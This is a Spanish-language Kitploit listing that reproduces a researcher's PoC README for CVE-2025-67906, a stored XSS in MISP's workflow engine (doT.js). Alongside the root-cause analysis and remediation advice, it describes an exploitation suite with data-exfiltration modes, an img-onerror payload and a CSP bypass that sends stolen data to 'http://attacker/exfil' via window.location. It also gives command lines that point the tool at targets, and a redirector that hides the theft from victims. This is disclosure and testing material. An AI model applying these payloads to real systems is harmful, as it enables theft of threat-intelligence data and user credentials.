Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-67906 — MISP <= 2.5.27 - Stored Cross-Site Scripting a través del Workflow Engine (Inyección de Plantilla doT.js). | Kitploit
Herramientas/GitHubGitHub/franckferman/cve-2025-67906
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónEvasión de WAFPruebas de PenetraciónRed Teaming
GitHubfranckferman/cve-2025-67906

CVE-2025-67906

MISP <= 2.5.27 - Stored Cross-Site Scripting a través del Workflow Engine (Inyección de Plantilla doT.js).

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE Score GCVE CWE License Python No deps

CVE-2025-67906

MISP <= 2.5.27 - Cross-Site Scripting Almacenado a través del Motor de Workflow (inyección de plantilla doT.js)

Descubierto por Franck FERMAN

Resumen - Causa Raíz - Cadena de Ataque - Estructura - Uso - Remediación - Referencias


Resumen de la Vulnerabilidad

CVE-2025-67906 (GCVE-1-2025-0031) es una vulnerabilidad de Cross-Site Scripting Almacenado (XSS) en MISP (Plataforma de Intercambio de Información de Malware) versiones hasta la 2.5.27 inclusive.

La vulnerabilidad reside en app/View/Elements/Workflows/executionPath.ctp, el componente de vista de la ruta de ejecución del Workflow. El campo name de los desencadenantes del workflow se persiste en la base de datos sin saneamiento en el lado del servidor y posteriormente se renderiza en el DOM a través del motor de plantillas doT.js sin escape HTML. Un atacante autenticado puede inyectar HTML/JavaScript arbitrario que se ejecuta en la sesión del navegador de cualquier usuario que visualice el workflow comprometido.

Debido a que la carga útil se almacena en la base de datos y se renderiza en cada carga de página, el XSS es persistente: sobrevive a las recargas de página, afecta a múltiples usuarios y persiste hasta que el workflow se elimina explícitamente.

Descubrimiento: Esta vulnerabilidad fue identificada y divulgada de manera responsable por Franck FERMAN.


Puntuaciones CVSS

Existen múltiples evaluaciones CVSS para esta vulnerabilidad:

La divergencia de puntuaciones refleja diferentes evaluaciones de la profundidad del impacto. La puntuación de NIST NVD (9.0) considera un impacto total en Confidencialidad, Integridad y Disponibilidad, dado que la carga útil XSS se ejecuta con los privilegios de sesión de la víctima, permitiendo la exfiltración de datos a nivel de administrador y la manipulación del workflow. La puntuación CNA (5.4) considera solo un impacto limitado en C/I para un XSS genérico. La puntuación GCVE CVSS 4.0 (7.1) introduce modificadores de Requisitos de Ataque (Privilegio) e Interacción Activa del Usuario.

El Alcance es Cambiado en todas las evaluaciones porque la carga útil del atacante (inyectada a través de la API de MISP) se ejecuta en un contexto de seguridad diferente (la sesión del navegador de la víctima).


Análisis de Causa Raíz

El Vector de Inyección

El Motor de Workflow de MISP permite a los usuarios autenticados crear y editar workflows a través de la API REST. El modelo de datos del workflow incluye un componente trigger con un campo name. Este campo:

  1. Es aceptado por la API sin validación de entrada ni codificación de entidades HTML
  2. Se persiste en la base de datos como texto sin procesar (sin saneamiento del lado del servidor)
  3. Se renderiza en el navegador a través del motor de plantillas JavaScript doT.js

Por qué doT.js es Vulnerable Aquí

doT.js es un motor de plantillas JavaScript rápido. Utiliza {{= }} para interpolación, que no escapa el HTML por defecto. El Editor de Workflow de MISP utiliza doT.js para renderizar metadatos del trigger (incluyendo el campo name) en el DOM. Cuando el campo name contiene HTML como ``, el motor de plantillas lo inserta como HTML sin procesar, y el navegador ejecuta el JavaScript incrustado.

La corrección requiere:

  • Cambiar a la sintaxis de salida codificada de doT.js {{! }} que escapa HTML
  • Saneamiento del lado del servidor antes de la inserción en la base de datos
  • Ambas (defensa en profundidad)

Punto de Inyección

root@kitploit:~
POST /workflows/edit/{id}

{
  "Workflow": {
    "id": "1",
    "data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
  }
}

El valor name dentro del campo JSON data es el punto de inyección. Todo el grafo del workflow se serializa como una cadena JSON dentro del cuerpo de la solicitud.

El Contexto de Renderizado: Motor Gráfico del Lado del Cliente

La vulnerabilidad se amplifica por la elección arquitectónica de utilizar un motor de plantillas del lado del cliente (doT.js) para renderizar el editor visual de workflows. El Editor de Workflow es una interfaz gráfica de arrastrar y soltar donde cada trigger/acción se muestra como un bloque visual. El campo name del trigger se renderiza como una etiqueta dentro de estos bloques gráficos.

doT.js construye los componentes visuales generando cadenas HTML a partir de plantillas e insertándolas en el DOM. La sintaxis de interpolación {{= }} produce salida sin escapar - cualquier dato interpolado en la plantilla se trata como marcado, no como texto. Si el mismo campo name se renderizara mediante element.textContent (que trata la entrada como texto plano) o mediante la sintaxis de salida codificada {{! }} de doT.js, no sería posible ningún XSS independientemente del contenido de la entrada.

La superficie de ataque existe precisamente porque:

  1. Un editor gráfico requiere renderizado HTML enriquecido (bloques estilizados, iconos, diseños)
  2. El motor de plantillas elegido (doT.js) por defecto produce salida sin escapar ({{= }}) por rendimiento
  3. Los metadatos proporcionados por el usuario (nombres de triggers) fluyen hacia estas plantillas sin saneamiento
  4. El resultado es que cualquier cadena almacenada en el campo name se interpreta como HTML por el navegador

Este es un patrón de vulnerabilidad común en aplicaciones web que utilizan motores de plantillas del lado del cliente para construir interfaces visuales interactivas: la necesidad de renderizado enriquecido crea una relación de confianza implícita entre la plantilla y sus fuentes de datos, y cualquier entrada de usuario sin saneamiento que llegue a la plantilla se convierte en código ejecutable.

Por qué `` y no <script>

Una etiqueta <script> sin procesar inyectada mediante interpolación de plantillas normalmente no se ejecutará en este contexto. Los navegadores no ejecutan elementos <script> que se insertan en el DOM después del análisis inicial de la página (mediante innerHTML o equivalente). Los atributos de manejadores de eventos como onerror, onload o onmouseover en elementos HTML evitan esta restricción porque ejecutan JavaScript en línea cuando el navegador procesa los atributos del elemento, independientemente de cómo se insertó el elemento.

El vector <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> es preferido porque:

  • El src="x" garantiza un fallo de carga inmediato, activando onerror sin interacción del usuario
  • Funciona en todos los navegadores y no requiere que el elemento sea visible
  • Omite las restricciones de CSP script-src que bloquean las etiquetas <script> en línea, porque la ejecución ocurre a través de un manejador de eventos en un elemento que no es un script

Bypass de CSP mediante Navegación (Exfiltración)

Las instancias de MISP típicamente despliegan cabeceras de Política de Seguridad de Contenido (CSP) que restringen connect-src, impidiendo llamadas fetch() y XMLHttpRequest a orígenes externos. Las cargas útiles de exfiltración en este PoC evaden CSP utilizando window.location (navegación) en lugar de llamadas a la API:

root@kitploit:~
// BLOQUEADO por CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data);  // violación de CSP

// NO bloqueado - la navegación no está gobernada por CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data;  // funciona

CSP no tiene una directiva que controle a dónde puede navegar una página. La directiva navigate-to fue propuesta en CSP Nivel 3 pero nunca fue implementada por ningún navegador y ha sido efectivamente abandonada. Esto hace que window.location sea un bypass fiable de CSP para la exfiltración de datos desde cualquier contexto XSS, independientemente de la política CSP vigente.

La compensación es que la navegación es visible para la víctima (la página cambia). El server/redirector.py mitiga esto emitiendo inmediatamente una redirección HTTP 302 de vuelta a la instancia de MISP, creando solo un breve destello visible. Desde la perspectiva de la víctima, la página parece recargarse.

Flujo de datos de exfiltración:

root@kitploit:~
Navegador víctima                 Atacante (redirector.py)           MISP
      |                                 |                           |
      |-- GET /exfil?data=<robado> ---->|                           |
      |                                 | [captura datos, imprime]   |
      |<-- 302 Location: misp.url ------|                           |
      |                                 |                           |
      |-- GET /workflows/view/1 ---------------------------------------->|
      |<-- Página MISP normal ---------------------------------------------|

Todo el viaje de ida y vuelta toma ~100-200ms. La víctima ve como máximo un destello en la página.

Impacto Real de un XSS Almacenado

Una idea errónea común en las evaluaciones de seguridad es que las vulnerabilidades XSS tienen un impacto práctico limitado ("es solo un cuadro de alerta"). En compromisos reales de equipos rojos, un XSS Almacenado - especialmente uno persistente sin clic como este - es un hallazgo de alto valor precisamente porque el atacante no necesita que la víctima haga clic en nada. La carga útil se dispara automáticamente cuando se renderiza la página.

Lo que un XSS Almacenado permite en la práctica:

  • Secuestro de sesión: si las cookies no están marcadas como HttpOnly, el atacante roba la cookie de sesión del administrador y toma el control de la cuenta. Incluso con HttpOnly, los tokens de sesión expuestos en el DOM o en las respuestas de la API pueden extraerse.
  • Exfiltración completa del contenido de la página: todo lo que ve la víctima, lo ve el atacante. Listas de usuarios, detalles de eventos, claves API mostradas en páginas de administración, datos de la organización - todo legible mediante document.body.innerHTML o consultas DOM dirigidas.
  • Recolección de credenciales: inyectar un formulario de inicio de sesión falso o una superposición de tiempo de espera de sesión. La víctima vuelve a introducir su contraseña en HTML controlado por el atacante.
  • Movimiento lateral: desde una sesión de administrador comprometida, crear nuevas claves API, modificar grupos de compartición, enviar eventos maliciosos a instancias MISP conectadas.
  • Persistencia: la carga útil sobrevive a las recargas de página y afecta a todos los usuarios que visitan el workflow. Persiste hasta que se elimina explícitamente.

Cuando protecciones como CSP restringen las solicitudes salientes (connect-src, script-src), el vector de exfiltración se adapta - como se demuestra en este PoC con el bypass de navegación window.location. CSP eleva el listón pero no elimina el riesgo. Cuando HttpOnly previene el robo de cookies, el atacante pivota a la exfiltración basada en DOM de los datos directamente visibles en la sesión autenticada.

En un contexto de pentest/equipo rojo, un XSS Almacenado en una plataforma como MISP (que agrega inteligencia de amenazas, IOCs y datos organizativos) es particularmente crítico porque los datos accesibles a través de una sesión de administrador son en sí mismos de alta sensibilidad: indicadores de compromiso, detalles de investigaciones internas, membresías de grupos de compartición y relaciones de confianza interorganizativas.


Cadena de Ataque

root@kitploit:~
1. El atacante se autentica en MISP (cualquier rol con permiso de creación de workflows)
   |
2. POST /workflows/add -> crea un nuevo workflow, recibe workflow_id + trigger_id
   |
3. POST /workflows/edit/{id} -> inyecta carga útil HTML/JS en el campo "name" del trigger
   |   Carga útil: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
   |
4. La carga útil persiste en la base de datos de MISP
   |
5. La víctima (cualquier usuario autenticado) visita /workflows/view/{id}
   |
6. doT.js renderiza el nombre del trigger como HTML sin procesar -> el navegador ejecuta JavaScript
   |
7. El impacto depende del modo de la carga útil:
      - alert()           Prueba de ejecución
      - Secuestro de sesión    Robar cookie de sesión
      - Exfiltración de datos  Extraer usuarios, eventos, claves API de páginas de admin
      - Robo de credenciales   Inyectar formulario de inicio de sesión falso

Impacto por Modo de Carga Útil


Versiones Afectadas

SoftwareAfectadoCorregido
MISP<= 2.5.272.5.28

La corrección está incluida en MISP v2.5.28. El commit del parche relevante: 1f39deb.


Mapeo MITRE ATT&CK


Estructura del Proyecto

root@kitploit:~
poc_alert_cve_2025_67906.py                # PoC simple - confirmación alert() (~200 líneas)
poc_exfiltrate_cve_2025_67906.py           # PoC simple - demo de exfiltración de datos (~150 líneas)
cve_2025_67906.py           # Suite completa de explotación - 7 modos, cargas útiles personalizadas
server/
  redirector.py             # Listener de exfiltración con redirección 302 transparente
  • poc_alert_cve_2025_67906.py: Mínimo, legible. Inyecta alert() para confirmar XSS. Léelo primero.
  • poc_exfiltrate_cve_2025_67906.py: Demo mínima de exfiltración. Captura email/URL de la víctima y envía al servidor atacante.
  • cve_2025_67906.py: Suite completa de explotación con 7 modos de carga útil, soporte de cargas personalizadas, modo silencioso.
  • server/redirector.py: Servidor HTTP que captura datos exfiltrados y redirige transparentemente a la víctima de vuelta a MISP.

Instalación

Python 3 (solo biblioteca estándar, cero dependencias externas).

root@kitploit:~
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906

Uso

Verificación Rápida (poc_alert_cve_2025_67906.py)

Confirma que la vulnerabilidad existe con un alert() inofensivo:

root@kitploit:~
python3 poc_alert_cve_2025_67906.py https://misp.target.org TU_API_KEY

Visita la URL impresa por el script. Un cuadro de alerta confirma la ejecución XSS.

Demo de Exfiltración de Datos (poc_exfiltrate_cve_2025_67906.py)

root@kitploit:~
# Terminal 1: iniciar el listener de exfiltración
python3 server/redirector.py https://misp.target.org --port 8000

# Terminal 2: inyectar la carga útil
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org TU_API_KEY --attacker TU_IP:8000

Cuando una víctima visita la URL del workflow, su email, nombre de usuario y URL de página son capturados por el listener.

Suite Completa de Explotación (cve_2025_67906.py)

root@kitploit:~
# Modo alerta (predeterminado)
python3 cve_2025_67906.py https://misp.target.org API_KEY

# Extraer lista de usuarios de la página de administración
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --mode exfiltrate_users --attacker TU_IP:8000

# Extraer lista de eventos
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --mode exfiltrate_events --attacker TU_IP:8000 --limit 50

# Carga útil personalizada
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --payload ''

# Modo silencioso (salida mínima)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet

Modos Disponibles


Remediación

Para administradores de MISP

  1. Actualizar MISP a 2.5.28 o posterior (registro de cambios)
  2. Restringir la creación de workflows a roles de confianza mediante el sistema de permisos de roles de MISP
  3. Monitorear los registros de auditoría para detectar creación/modificación de workflows por usuarios no esperados
  4. Revisar los workflows existentes en busca de HTML sospechoso en los nombres de los triggers

Para desarrolladores de MISP

  1. Cambiar la interpolación de doT.js de {{= }} (sin procesar) a {{! }} (codificado en HTML) para campos proporcionados por el usuario
  2. Saneamiento del lado del servidor del campo name antes de la inserción en la base de datos (eliminar etiquetas HTML, codificar entidades)
  3. Cabeceras de Política de Seguridad de Contenido para evitar la ejecución de scripts en línea como defensa en profundidad

Referencias

Registros CVE

  • NVD - CVE-2025-67906 (NIST, CVSS 9.0 Crítico)
  • GCVE-1-2025-0031 (Búsqueda de Vulnerabilidades CIRCL, CVSS 4.0: 7.1 Alto)

Parche y Avisos

  • Registro de cambios MISP v2.5.27...v2.5.28
  • Commit del parche 1f39deb

Referencias Técnicas

  • Proyecto MISP
  • Repositorio GitHub de MISP
  • MISP Galaxy
  • Motor de Plantillas doT.js
  • CWE-79: Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web
  • MITRE ATT&CK - T1059.007: JavaScript
  • Hoja de Referencia de Prevención de XSS de OWASP

Créditos

  • Franck FERMAN - Descubrimiento de vulnerabilidad, desarrollo de PoC
  • Sami Mokaddem (Graphman) - Acreditado en el aviso GCVE

Aviso Legal

Esta herramienta se proporciona únicamente para auditorías de seguridad autorizadas, investigación académica y fines educativos. El uso contra sistemas sin permiso explícito por escrito del propietario del sistema es ilegal. El autor no acepta ninguna responsabilidad por el uso no autorizado o malicioso.

Descargar herramienta
FuentePuntuaciónSeveridadVector
NIST NVD9.0CríticoCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
GCVE (CIRCL)7.1AltoCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
CNA (MITRE)5.4MedioCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
ModoImpactoRequiere
alertConfirma ejecución XSSCualquier usuario visualiza el workflow
alert_infoMuestra el email y la URL de la víctimaCualquier usuario visualiza el workflow
console_infoRegistra email, rol y URL del usuario en DevToolsCualquier usuario visualiza el workflow
exfiltrate_usersExtrae lista de usuarios (ID, Org, Rol, Email) de /admin/users/indexAdmin visualiza el workflow + listener del atacante
exfiltrate_pageCaptura contenido de la página actual e identidad del usuarioCualquier usuario visualiza el workflow + listener del atacante
exfiltrate_eventsExtrae lista de eventos (ID, Org, Fecha, TLP, Info)Cualquier usuario visualiza el workflow + listener del atacante
IDTácticaTécnicaRelevancia
T1059.007EjecuciónJavaScriptLa carga útil XSS ejecuta JavaScript en el navegador de la víctima
T1189Acceso InicialCompromiso Drive-byLa carga útil almacenada se activa al visitar la página
T1557RecopilaciónAdversario en el NavegadorLa carga útil opera dentro de la sesión autenticada de la víctima
T1539Acceso a CredencialesRobo de Cookie de Sesión WebCookies de sesión accesibles si HttpOnly no está configurado
T1005RecopilaciónDatos del Sistema LocalExfiltración de listas de usuarios, eventos y contenido de página
ModoDescripción
alertCuadro de alerta simple (predeterminado, seguro para demo)
alert_infoCuadro de alerta con URL de la víctima, email, agente de usuario
consoleConfirmación en console.log
console_infoRegistra email, rol, URL del usuario en la consola DevTools
exfiltrate_usersExtrae lista de usuarios de /admin/users/index (requiere víctima admin)
exfiltrate_pageCaptura contenido de la página actual e identidad del usuario
exfiltrate_eventsExtrae lista de eventos con ID, Org, Fecha, TLP, Info